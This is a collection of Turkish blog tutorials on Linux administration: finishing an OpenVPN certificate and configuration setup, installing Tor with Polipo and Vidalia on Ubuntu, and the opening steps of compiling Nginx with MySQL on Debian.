<pre>$ cp /usr/share/doc/openvpn/examples/easy-rsa/2.0 ~/easy-rsa
$ cd ~/easy-rsa</pre>
<p>(not: bu noktadan sonra yapacaklarımızı dizinin<br />
içindeki README dosyasından da takip edebilirsiniz)</p>
<p>Dosyalar<br />
kopyalandıktan sonra easy-rsa dizinine giriyoruz. vars<br />
dosyasını bir metin düzenleyici ile açarak gerekli değişiklikleri yapıyoruz. Bir<br />
çok ayarı değiştirmeniz gerekmez. Dosyayı gözden geçirin, eğer özel bir<br />
durumunuz yoksa yalnızca dosyanın sonundaki ön tanımlı değerleri değiştirmeniz<br />
yeterli olacaktır. Bu değerler her bir sertifikanın içine gömülecek verilerin<br />
daha hızlı girilebilmesine yardımcı olurlar. Her bir sertifika için farklı<br />
bilgiler girebilirsiniz. Değişiklikleri yaptıktan sonra kaydedin ve<br />
çıkın.</p>
<pre>$ . vars
$ ./clean-all</pre>
<p>komutlarını vererek,<br />
değişkenleri işler hale getiriyoruz ve anahtar dizinimizi oluşturuyoruz. Anahtar<br />
dizini, eğer vars dosyasını değiştirmediyseniz, ~/easy-rsa/keys dizini olacaktır. Bundan sonra üreteceğimiz<br />
bütün dosyaları (anahtarlar ve sertifikalar) bu dizinde bulacağız. Şunu<br />
aklımızda tutmakta fayda var: Bu dizin içinde oluşturulacak .key soyadlı<br />
dosyalar gizli ve hususi dosyalardır, özel anahtarları ihtiva ederler. .crt<br />
soyadlı dosyalar ise dağıtılabilirler.</p>
<p>Sırası ile aşağıdaki komutları<br />
veriyoruz.</p>
<pre>$ ./build-dh
$ ./pkitool --initca
$ ./pkitool --server iyiSunucu
$ ./pkitool istemci1</pre>
<p>Verdiğimiz<br />
komutları açıklayayım:</p>
<ol>
<li>Sertifikaları ve anahtarları oluşturmadan önce karşılıklı şifrelemenin<br />
gerçekleşebilmesi için bazı parametrelerin belirlenmesi gerekmektedir. Bu<br />
değişim parametreleri Diffie Hellman adı verilen teknik ile sağlanmaktadır.</li>
<li>CA sertifikasını ve anahtarını oluşturur.</li>
<li>Sunucu için gerekli sertifika/anahtar çiftini oluşturur. Sunucumuzun adı<br />
bundan sonra iyiSunucu olarak anılır.</li>
<li>istemci1 istemcisi için gerekli sertifika/anahtar çiftini<br />
oluşturur.</li>
</ol>
<p>Böylece, CA, sunucu ve istemci için sertifika/anahtarı<br />
oluşturmuş olduk. Bundan sonra her hangi bir istemci için sertifika/anahtar<br />
üretmek için:</p>
<pre>$ . vars
$ ./pkitool istemciAdı</pre>
<p>komutlarını<br />
vermek yeterli olacaktır. Dikkat edilmesi gereken oluşturma işlemi sırasında<br />
keys dizini altında ca.key ve ca.crt dosyalarının bulunmasıdır. Bütünlüğü bozmamak ve<br />
dosyaların taşınarak güvenliklerinin tehlikeye atılmaması için bütün oluşturma<br />
işlemlerinin tek bir bilgisayar üzerinde yapılması tavsiye<br />
edilir.</p>
<p>Ayar<br />
Dosyaları</p>
<p>Sertifikalar oluşturulduktan sonra bu sertifika ve<br />
anahtarları kullanacak ayar dosyalarının da yaratılması gerekmektedir. Örnek<br />
ayar dosyalarının birer kopyasını /usr/share/doc/openvpn/examples/sample-config-files/<br />
dizininde bulabilirsiniz. client.conf ve server.conf.gz dosyalarını uygun bir dizine kopyalayıp,<br />
gz&#8217;yi açtıktan sonra server.conf dosyasını sunucu.conf ve client.conf<br />
dosyasını istemci1.conf olarak kopyalayalım ve sunucu.conf dosyasını ayarlamakla işe başlayalım.</p>
<pre>$ mkdir ~/openvpn
$ cd ~/openvpn
$ cp /usr/share/doc/openvpn/examples/sample-config-files/{client.conf,server.conf.gz} .
$ gunzip server.conf.gz
$ cp {server,sunucu}.conf
$ cp {client,istemci1}.conf</pre>
<p>Aşağıda<br />
sunucu.conf dosyası içerisinde mutlaka bulunması gereken satırları yazıyorum.<br />
Bunun dışındaki satırlar için dosya içinde bulunan yorumlara ve açıklamalara<br />
başvurabilirsiniz.</p>
<p>sunucu.conf:</p>
<pre>port 1194
proto udp

dev tun

ca ca.crt
cert iyiSunucu.crt
key iyiSunucu.key

dh dh1024.pem

server 10.8.0.0 255.255.255.0</pre>
<p>openVPN&#8217;e<br />
şöyle dedik:</p>
<ul>
<li>UDP protokolünün 1194 nolu portundan gelen bağlantıları kabul et.</li>
<li>Katman 3 bir tünel oluştur (dev tun).</li>
<li>CA sertifikası ca.crt, sunucu sertifikan iyiSunucu.crt ve sunucu anahtarın<br />
iyiSunucu.key dosyasındadır.</li>
<li>Diffie-Hellman için dh1024.pem dosyasını<br />
kullan.</li>
<li>Ağdaki IP adreslerini 10.8.0.0 &#8211; 10.8.0.254 arasında dağıt kendine de<br />
10.8.0.1 adresini al.</li>
</ul>
<p>Ek olarak şu ayarları<br />
yapabilirsiniz:</p>
<p>Sunucuya bağlanan bilgisayarların IP adreslerini<br />
korunması ve her seferinde aynı kalması için aşağıdaki komutu<br />
verebilirsiniz.</p>
<pre>ifconfig-pool-persist ipp.txt</pre>
<p>Bağlanan istemcilerin<br />
birbirini görebilmesi için:</p>
<pre>client-to-client</pre>
<p>bağlantılarda sıkıştırma kullanılması<br />
için:</p>
<pre>comp-lzo</pre>
<p>Sürekli kendini terkarlayan mesajların<br />
susturulması için:</p>
<pre>mute 20</pre>
<p>Ayar dosyası ile çalıştırmak için aşağıdaki<br />
bölüme bakabilirsiniz. Şimdi istemci cihazın da ayar dosyasını<br />
yapalım.</p>
<p>istemci.conf:</p>
<pre>client

dev tun

proto udp

remote sunucu.adresi 1194

ca ca.crt
cert istemci1.crt
key istemci1.key</pre>
<p>yani<br />
şöyle dedik;</p>
<ul>
<li>sen istemcisin. Bağlanmaya çalış ve ayarların bir kısmını bağlandıktan sonra<br />
al.</li>
<li>sunucu.adresi adresindeki sunucunun 1194 numaralı portuna UDP protokolü ile<br />
bağlan.</li>
<li>Katman 3 bir tünel oluştur (dev tun).</li>
<li>CA sertifikası ca.crt, sertifikan istemci1.crt ve anahtarın istemci1.key<br />
dosyasındadır.</li>
</ul>
<p>ek olarak;</p>
<p>eğer sunucuda sıkıştırma<br />
açıldı ise;</p>
<pre>comp-lzo</pre>
<p>Sürekli kendini terkarlayan mesajların<br />
susturulması için:</p>
<pre>mute 20</pre>
<p>komutları kullanılabilir.</p>
<p>Programın Çalıştırılması</p>
<p>Ubuntu&#8217;nun<br />
paket deposundan yüklediğinizde program daemon olarak çalışmaya başlar. Ve<br />
kendini her açılışta çalıştırmak üzere ayarlar. Otomatik olarak başlarken<br />
okuması gereken ayar dosyalarını /etc/openvpn/ dizini<br />
altına koyabilirsiniz. Böylece her açılışta doğru ayarlar ile başlayacaktır. Şu<br />
anda cihazı açıp kapatma gibi bir lüksümüz olmadığı için öncelikle deamon&#8217;ı<br />
sonlandıralım.</p>
<pre>$ sudo /etc/init.d/openvpn stop</pre>
<p>Şimdi deneme<br />
amaçlı başlatacağımız ve belki çıkacak sorunları çözmemiz gerekeceği için<br />
programı;</p>
<pre>$ sudo openvpn ayarDosyasi.conf</pre>
<p>komutunu vererek<br />
başlatalım. Böylece programın üreteceği çıktılar direk olarak ekrana yazılacak,<br />
böylece log dosyalarını takip etmemiz gerekmeyecektir. Öncelikle sunucuyu etkin<br />
hale getirmemiz gerekiyor.</p>
<pre>$ sudo openvpn sunucu.conf</pre>
<p>komutunu verdiğimizde<br />
sunucu ayarlamalarını yapacak, gerekli dosyaları okuyacak ve UDP 1194 potunu<br />
dinlemeye başlayacaktır. Kalabalık çıktıları okumaya çalışın. Eğer en<br />
sonda</p>
<pre>Initialization Sequence Completed</pre>
<p>yazısını<br />
görürseniz sorun yok demektir. Eğer bu satırı göremediyseniz, dosyalarınızın<br />
yerlerini ve ayar dosyalarınızı tekrar kontrol edin. Kalabalık yazılar arasında<br />
sorunun nedeni yazacaktır.</p>
<p>Şimdi de istemci tarafına geçip buradaki<br />
dosyayı çalıştıralım:</p>
<pre>$ sudo openvpn istemci1.conf</pre>
<p>Yine kalabalık olan<br />
çıktılar arasında aşağıdaki satırları görürseniz işlem tamamlanmış<br />
demektir.</p>
<pre>Peer Connection Initiated with sunucu.adresi:1194
...
Initialization Sequence Completed</pre>
<p>Bu<br />
sırada sunucu tarafındaki ekranı da takip ederseniz bağlantı detaylarının ekrana<br />
yazıldığını görebilirsiniz. İstemci tarafında yeni bir uçbirim açıp;</p>
<pre>$ ifconfig</pre>
<p>komutunu verirseniz tun0 arabirimi<br />
için atanmış bir inet adresi görmeniz gerekir. Yukarıdaki ayarları aynen<br />
uyguladı iseniz bu adres büyük olasılıkla 10.8.0.6 olacaktır. İstemciden<br />
sunucu&#8217;ya yani 10.8.0.5 adresine (*) ping atarak;</p>
<pre>$ ping 10.8.0.5</pre>
<p>bağlantıyı test edebilirsiniz.<br />
Aklınızda bulunsun, testin çalışabilmesi için sunucunun ping isteklerine cevap<br />
vermesi gereklidir.</p>
<p>(*) openVPN Ubuntu üzerinde çalışırken adresleri<br />
teker teker dağıtmamakta her bir istemci için bir alt-ağ oluşturabilmektedir. Bu<br />
yüzden bağlanan her bir istemcinin adresinin 1 eksiği sunucunun adresi<br />
olacaktır. Detaylar için yönlendirme tablosuna (route<br />
komutu ile) bakabilirsiniz.</p>
<p>Son ayarlar ve<br />
toparlama</p>
<p>Eğer aradaki bağlantıyı sorunsuz olarak kurabildiyseniz,<br />
çalıştığı ekranlarda Ctrl &#8211; C ile openVPN uygulamalarını kapatabilirsiniz.<br />
İsterseniz her bağlanma için komutları yukarıda tarif edilen şekilde<br />
verebilirsiniz. Fakat sunucu için bu pek uygun olmayacaktır. Sunucu tarafında<br />
bulunan sunucu.conf dosyasını /etc/openvpn/ dizininin<br />
altına kopyalayalım. ca.crt, sunucu.key, sunucu.crt ve dh1024.pem dosyalarını da /root/openvpn dizinine kopyalayalım. İlgili dizin için de<br />
görünürlüğü kısıtlayalım. Yeri değişen dosyalar için conf dosyamızı ayarlayalım.<br />
openVPN&#8217;in yetkilerini düşürelim. Böylece güvenliğimizi artıralım. Sonra da<br />
sunucumuzu yeniden başlatalım.</p>
<p>Sunucu üzerinde;</p>
<p>sunucu.conf dosyasının son hali:</p>
<pre>port 1194
proto udp

dev tun

ca /root/openvpn/ca.crt
cert /root/openvpn/iyiSunucu.crt
key /root/openvpn/iyiSunucu.key

dh /root/openvpn/dh1024.pem

server 10.8.0.0 255.255.255.0

ifconfig-pool-persist ipp.txt

comp-lzo

user nobody
group nogroup

persist-key
persist-tun</pre>
<pre>$ sudo cp sunucu.conf /etc/openvpn/
$ sudo mkdir /root/openvpn
$ sudo chmod 600 /root/openvpn
$ sudo mv ca.crt iyiSunucu.crt iyiSunucu.key dh1024.pem /root/openvpn
$ sudo /etc/init.d/openvpn restart</pre>
<p>Hayırlı<br />
olsun.</p>
<p>Notlar</p>
<ul>
<li>Eğer her bir sertifika içine farklı bilgiler gömmek isterseniz pkitool<br />
komutlarını &#8211;interact parametresi ile çalıştırabilirsiniz.</li>
<li>İstemcilerin bütün İnternet trafiklerinin sunucu üzerinden olmasını<br />
istiyorsanız, sunucu ayarları içine</p>
<pre>push “redirect-gateway”</pre>
<p>komutunu koymanız gerekir. Bu<br />
durumda sunucu üzerinden İnternet&#8217;e çıkış ayarlarını da ayrıca yapmanız<br />
gerekir.</li>
<li>&#8220;redirect-gateway&#8221; komutu bütün trafiği yönlendirdiği için DHCP adresi<br />
alamama gibi sorunlara da yol açabilmektedir.</li>
<li>VPN&#8217;in IP adresleri ile yerel ağ bağlantılarının adreslerinin çakışmamasına<br />
(aynı alt ağda olmamasına) dikkat ediniz.</li>
<li>IPv4 ve yönelnedirmeler hakkında biraz bilgi edinmeniz işinizi<br />
kolaylaştıracaktır.</li>
</ul>


title: Ubuntu 11 Tor ve Vidalia Kurulumu
source: http://www.gokhanbaran.com/ubuntu-11-tor-ve-vidalia-kurulumu/
author: admin
description:
<p><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/11/tor_sticker.png"><br />
</a>Ubuntu altında tor ve vidalia kurulumundan önce başlangıç olarak tor nedir?</p>
<p>Tor: çevrimiçi anonimlik</p>
<p>Tor kendinizi trafik analizine karşı koruyabilmenize yardımcı olan bir yazılım projesidir. Trafik analizi kişisel özgürlüğü ve gizliliği, gizli ticari eylemleri ve ilişkileri ve devlet güvenliğini tehdit eden bir çeşit ağ denetimidir. Tor iletişiminizi dünyanın her tarafından gönüllüler tarafından işletilen dağıtılmış bir ağ üzerinden sağlayarak sizi korur: birilerinin sizin Internet bağlantınızı izleyerek hangi siteleri gezdiğinizi öğrenmesini engeller, ayrıca girdiğiniz sitelerin sizin fiziksel yerinizi öğrenmesini de engeller. Tor, Internet tarayıcıları, anında mesajlaşma istemcileri, uzaktan erişim ve TCP protokolünü kullanan diğer uygulamalar dahil mevcut uygulamalarınızın bir çoğu ile çalışır.<br />
<span id="more-276"></span><br />
daha fazlası için: <a href="https://www.torproject.org/index.html.tr" target="_blank">https://www.torproject.org/index.html.tr</a></p>
<p>vidalia ise tor&#8217;un grafik arayüzüdür.</p>
<p>Şimdi kuruluma geçelim</p>
<p><strong>Tor&#8217;un kurulumu</strong>:</p>
<p>1-</p>
<p>ilk önce en güncel vidalia ve tor için şu depoları ekliyelim:</p>
<p><strong>Ubuntu 9.10, 10.04, 10.10</strong> ve sonrası için terminale:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo add-apt-repository ppa:ubun-tor/ppa</div></div>
<p>yazın.</p>
<p>veya</p>
<p><strong>Debian, Ubuntu 9.04</strong> ve öncesi için veya tor&#8217;un resmi depolarını eklemek isteyenler ise terminale:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo gedit /etc/apt/sources.list</div></div>
<p>yazın ve açılan sayfanın en altına aşaıdaki satırı ekleyin:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">deb     http://deb.torproject.org/torproject.org &amp;lt;DAĞITIM&amp;gt; main</div></div>
<p>sonra</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">gpg --keyserver keys.gnupg.net --recv 886DDD89</div></div>
<p>yazın.</p>
<p>sonra</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -</div></div>
<p>yazın.</p>
<p>2-</p>
<p>Şimdi depolarımızı güncelleyelim:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo apt-get update</div></div>
<p>3-</p>
<p>tor&#8217;u kuralım</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo apt-get install tor tor-geoipdb</div></div>
<p>4-</p>
<p>polipo&#8217;yu kuralım:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo apt-get install polipo</div></div>
<p>5-</p>
<p>şimdi poliponun ayarlarını yapmamız gerek bunun için <a href="https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf" target="_blank">https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf</a> bu adresteki polipo.conf&#8217;u indirelim.</p>
<p>6-</p>
<p>terminale aşağıdaki kodu yazalım:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo gedit /etc/polipo/config</div></div>
<p>ve açılan sayfadaki içeriğini tamamen silip yerine indirdiğimiz dosyanın içinde yazan tüm herşeyi yapıştırın ve kaydedip kapatın</p>
<p>7-</p>
<p>alt + f2 yapıp tor yazın ve enterleyin. Yine alt + f2 yapın polipo yazın ve enterleyin. tebrikler şimdi tor çalışıyor.</p>
<p>8-</p>
<p>Tor&#8217;u firefoxta kullanmak için torbutton eklentisini kurabilirsiniz: <a href="https://addons.mozilla.org/en-US/firefox/addon/2275/" target="_blank">https://addons.mozilla.org/en-US/firefox/addon/2275/</a></p>
<p>eğer proxy ayarlarını diğer tarayıcılar veya programlar için elinizle ayarlamak isyorsanız (örneğin chrome):</p>
<p><a href="http://img27.imageshack.us/i/chrometor.png/" target="_blank"><img src="http://img27.imageshack.us/img27/5614/chrometor.th.png" alt="" /></a></p>
<p>HTTP Proxy: 127.0.0.1 port:8118</p>
<p>Güvenli HTTP Proxy: 127.0.0.1 port:8118</p>
<p>FTP Proxy: 127.0.0.1 port:8118</p>
<p>Socks Proxy: 127.0.0.1 port:9050</p>
<p>şeklinde ayarlamalısınız.</p>
<p>sistem genelinde bu ayarları tanımlamak için ise sistem &#8211;&gt; tercihler &#8211;&gt; ağ proxy(veya içinde proxy geçen bir seçenek)</p>
<p><a href="http://img46.imageshack.us/i/networkproxy.png/" target="_blank"><img src="http://img46.imageshack.us/img46/7171/networkproxy.th.png" alt="" /></a></p>
<p>9-</p>
<p>tor&#8217;un çalıştığından emin olmak için aşağıdaki adrese gidin:</p>
<p><a href="https://check.torproject.org/" target="_blank">https://check.torproject.org/</a></p>
<p>çalışmıyor gösteriyorsa ubuntuyu yeniden başlatın tor ve polipo açılışta otomatik çalışacaktır.</p>
<p><strong>eğer hala çalışmıyorsa</strong> terminale şu komutları girin</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/etc/init.d/polipo stop</div></div>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/etc/init.d/tor stop</div></div>
<p>sonra terminalden tor yazıp tor&#8217;u başlatın ve terminalde tor durumunun %100 yazdığından emin olun.</p>
<p>başka bir terminal daha açın ve</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">polipo -c /etc/polipo/config</div></div>
<p>yazın.</p>
<p>polipo -c yaparak polipoya config dosyasını tanıtmış olduk.</p>
<p>Eğer bu şekilde sorunluda olsa çalışıyorsa aşağıda vidalia için verdiğim tor ve polipo kazıma kodunu girin</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo update-rc.d -f tor remove</div></div>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo update-rc.d -f polipo remove</div></div>
<p>tor ve polipoyu tekrar başlangıca eklemek için:</p>
<p>sistem &#8211;&gt; tercihler &#8211;&gt; başlangıç uygulamaları seçin:</p>
<p>ekleye tıklayın, komut bölümüne:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">tor</div></div>
<p>yazın.</p>
<p>sonra gene ekleye tıklayın, komut bölümüne:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">polipo -c /etc/polipo/config</div></div>
<p>yazın ve gene ekleye tıklayın. Sorununuz çözülmüş olacaktır.</p>
<p>Tor&#8217;un grafik arayüzü olan vidalia&#8217;yı kuralım.</p>
<p><strong>Vidalia Kurulumu</strong></p>
<p>1-</p>
<p>paket yöneticisinden vidalia&#8217;yı kurun.</p>
<p>2-</p>
<p>vidalia&#8217;yı kurduktan sonra vidalia ile beraber kurulmuş ama bizim kullanmayacağımız privoxy adlı programı gene paket yöneticisinden privoxy diye aratın ve kaldırın.</p>
<p>3-</p>
<p>vidalia&#8217;yı kurarken sormuş olmasına rağmen kimi zaman vidalia açılırken bilgisayarda otomatik olarak açılmış tor ve polipo&#8217;yu tekrar çalıştırmaya çalışıp başaramayınca &#8220;Vidalia detected that the Tor software exited unexpectedly&#8221; hatası verebilir. Bu nedenle tor ve polipo&#8217;yu açılıştan kazımak için aşağıdaki komutları girelim:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo update-rc.d -f tor remove</div></div>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo update-rc.d -f polipo remove</div></div>
<p>sonrada bir seferlik olarak tor ve polipoyu durdurmak için:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/etc/init.d/polipo stop</div></div>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/etc/init.d/tor stop</div></div>
<p>hatanın message log&#8217;daki gelişmiş örneği için forumda yapılmış bir sorudan alıcam</p>
<p><a href="http://img225.imageshack.us/i/mesajgnlkleri.png/" target="_blank"><img src="http://img225.imageshack.us/img225/8844/mesajgnlkleri.png" alt="" /></a></p>
<p>not: bu hata tor güncellendikten sonra tekrar gelir. bunu önlemek için yukardaki sorunla karşılaşınca yukardaki kodları tekrar yazalım</p>
<p>4-</p>
<p>Vidalia&#8217;yı Uygulamalar &#8211;&gt; Internet &#8211;&gt; Vidalia yoluyla çalıştıralım.</p>
<p>5-</p>
<p>Vidalia kontrol panel&#8217;inde ayarları seçelim. Genel seçeneğinde proxy uygulaması(isteğe bağlı) seçeneğindeki tor paşlatıldığında proxyide başlat seçeneğine tik atalım.  uygulama adınıda polipo olarak yazalım.</p>
<p><a href="http://img94.imageshack.us/i/vidalia.png/" target="_blank"><img src="http://img94.imageshack.us/img94/9089/vidalia.th.png" alt="" /></a></p>
<p>6-</p>
<p>Bu adım tor kurulumunun 9.adımına benzer</p>
<p>tor&#8217;un çalıştığından emin olmak için aşağıdaki adrese gidin:</p>
<p><a href="https://check.torproject.org/" target="_blank">https://check.torproject.org/</a></p>
<p>çalışmıyor gösteriyorsa ubuntuyu yeniden başlatın</p>
<p><strong>Eğer Hala Çalışmıyorsa</strong></p>
<p>Vidalia kontrol panel&#8217;inde ayarları seçelim. Genel seçeneğinde proxy uygulaması(isteğe bağlı) seçeneğindeki tor paşlatıldığında proxyide başlat seçeneğine tik atalım.  uygulama adınıda polipo olarak yazalım.</p>
<p>ve proxy uygulaması argümanlarına:</p>
<div>Kod: <a>[Seç]</a></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">-c /etc/polipo/config</div></div>
<p>not:-c yaparken boşluk bırakmayı unutmayın</p>
<p>-c yaparak polipoya config dosyasını tanıtmış olduk. En Önemlisi relay olmayı unutmayın <img title="Dil çıkartıyor" src="http://forum.ubuntu-tr.net/Smileys/default/tongue.gif" alt=":P" /></p>
<p><a href="http://img580.imageshack.us/i/relay.png/" target="_blank"><img src="http://img580.imageshack.us/img580/3484/relay.th.png" alt="" /></a><a href="http://www.gokhanbaran.com/wp-content/uploads/2011/11/tor_sticker.png"><br />
</a></p>


title: Nginx Kurulumu (Php5 ve MySQL)
source: http://www.gokhanbaran.com/nginx-kurulumu-php5-ve-mysql/
author: admin
description:
<p><strong>Nginx</strong> (engine x) açık kaynaklı, yüksek perfomanslı web server ve ters (reverse) proxy’dir. <a href="http://sysoev.ru/en/">Igor Sysoev</a> tarafından 2005 yılında geliştirilmeye başlanmıştır. Nginx web dünyasında sunucuların %4′e yakındır. Nginx beta olmasına karşın, kararlı, bol özellikli ayarları, basit konfigürasyonu ve düşük kaynak kaynak kullanımı ile öne çıkmaktadır. <a href="http://www.rumbler.ru/" target="_blank">Rumbler.ru</a>gibi yüksek trafikli sitelerin sahiplerinin derdine deva oluyor. Sistem kaynaklarını cimri kullanması ve en üst seviyede yararı sağlaması tercih edilme nedenleri arasında.<br />
<span id="more-279"></span><br />
<a href="http://wiki.codemongers.com/Main" target="_blank"><img title="netcraft_chart_with_lighttpd" src="http://www.linuxuzmani.com/wp-content/yukluk/2008/12/netcraft_chart_with_lighttpd.png" alt="netcraft_chart_with_lighttpd" width="300" height="200" /></a><a href="http://blog.webfaction.com/a-little-holiday-present" target="_blank"><img title="Nginx ve Apache sorgu/saniye Karşılaştırması" src="http://www.linuxuzmani.com/wp-content/yukluk/2008/12/nginx-apache-reqs-sec.png" alt="nginx-apache-reqs-sec" width="447" height="214" /></a></p>
<p>Grafiklerdende görüldüğü üzere nginx kendine benzer bir gorev yapan lighttpd, kullanan domain sayısında geçmiş durumda. Diğer grafiktede ararlılığını korumasına adına yapılan testte apache’ye açık ara fark atmış olduğunu görüyoruz. Nginx gün geçtikçe artan kullanım trendinin boşuna olmadığını ıspatlıyor.</p>
<p><strong>Kurulum</strong></p>
<p>Bu yazımızda bilgisayar adı webserver.linuxuzmani.com ve ip adresimiz 172.16.1.10 olacaktır. Siz kendi isteğinize ve ap yapınıza göre bu bilgileri değiştirebilirsiniz.</p>
<p><strong>MySQL 5.0 Kurulumu</strong></p>
<blockquote><p><strong>apt-get install mysql-server mysql-client</strong></p></blockquote>
<p>Mysql root kullanıcısı için şifre oluşturalım:</p>
<blockquote><p><strong>mysqladmin -u root password yenimysqlrootşifresi</strong></p></blockquote>
<p>Kurulumunu yaptığımız Mysql sunucusunun servisinin dinlemede olduğunu aşağıdaki komutla çalıştığını kontrol ediyoruz.</p>
<blockquote><p><strong>netstat -tap | grep mysql</strong></p></blockquote>
<p>tcp 0 0 localhost.uzman:mysql*:*                     LISTEN     2713/mysqld</p>
<p><strong>Nginx Kurulumu</strong></p>
<p>Nginx paketi Debian Etch depolarında bulunmakta ancak sürümü 0.4.13-2 olarak bulunmakta. Biz şu anda son sürüm olan <a href="http://sysoev.ru/nginx/nginx-0.6.34.tar.gz">Nginx-0.6.34</a> kullanacağız Nginx kaynak koddan derleyeceğiz.</p>
<p>İlk olarak kurulum için gerekli paketleri kuralım.</p>
<blockquote><p><strong>apt-get install libpcre3 libpcre3-dev libpcrecpp0 libssl-dev zlib1g-dev build-essential</strong></p></blockquote>
<p>Daha sonra nginx paketini sunucumuza indirip açıyoruz(son sürümü <a href="http://nginx.net/h">http://nginx.net/</a> adresinden kontrol edebilirsiniz)</p>
<blockquote><p><strong>cd /tmp<br />
wget http://sysoev.ru/nginx/nginx-0.6.34.tar.gz<br />
tar xvfz nginx-0.6.34.tar.gz<br />
cd nginx-0.6.34</strong></p></blockquote>
<p>Kurulum parametrelerini görmek için bu komutu çalıştırabilirsiniz.</p>
<blockquote><p><strong>./configure –help</strong></p></blockquote>
<p>Kurulum parametresi olarak çalıştırma yolu ve SSL modülünü aktif edeceğiz. Sizin için gerekli diğer parametrelerin ekleyebilirsiniz.</p>
